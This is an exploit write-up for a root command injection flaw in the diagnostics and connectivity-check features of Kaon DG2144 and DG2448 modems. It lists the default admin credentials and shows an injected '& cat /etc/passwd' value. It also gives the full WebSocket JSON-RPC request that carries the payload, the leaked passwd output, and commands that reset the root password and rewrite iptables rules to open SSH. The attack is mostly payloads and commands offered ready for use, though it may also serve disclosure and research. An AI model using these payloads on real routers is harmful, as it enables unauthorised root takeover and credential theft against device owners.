Kaon DG2144 : Root Command Injection Exploit ( How To Enable SSH )

Kaon DG2144 : Root Command Injection Exploit ( How To Enable SSH )

Kaon Dg2448 & Kaon DG2144 

Upon analyzing the modems Web service, it is evident that the functions accessible through the URLs: 

http://192.168.1.1/#/home/administration and http://192.168.1.1/#/home/status 

are vulnerable to command execution as root. The specific functions susceptible to this vulnerability are Ping, Traceroute, NsLookup under Diagnostics, and Target under Connectivity Check as well as Numerous others.

 

 To exploit this vulnerability, a user must be logged in with the credentials: Username: admin Password: admin@DG2144 

 

By navigating to the Connectivity Check section on the main page and injecting the command '& cat /etc/passwd',  sensitive information such as user details can be retrieved. 

 The obtained data includes the root user's information: 

root:x:0:0:root:/root:/bin/ash 

daemon:*:1:1:daemon:/var:/bin/false

ftp:*:55:55:ftp:/home/ftp:/bin/false

...

admin:x:0:0::/home/admin:/bin/false 

 

Request Specifics: these requests are made via Websockets (192.168.1.1/ws) {"jsonrpc":"2.0","id":1317719,"method":"api","params":{"path":"/admin/ping","action":"post","msg":{"target":"& cat /etc/passwd","size":"16","no":"3"},"sid":"2e14d9d31758725543fc2404aeec17eb"}}

which when executed by kwebsockd :

 ping -c 3 -s 64 -i 1 -W 1 & cat /etc/passwd > /tmp/ping_result 2>&1 &

 Furthermore, the vulnerability allows appending various commands to the existing ping call, where the command results are read from a file on the system for display on the webpage. 

This can be exploited to execute commands like enabling SSH access:

 & echo -e "password\npassword" | passwd root 

& iptables -D zone_lan_input 2 

& iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT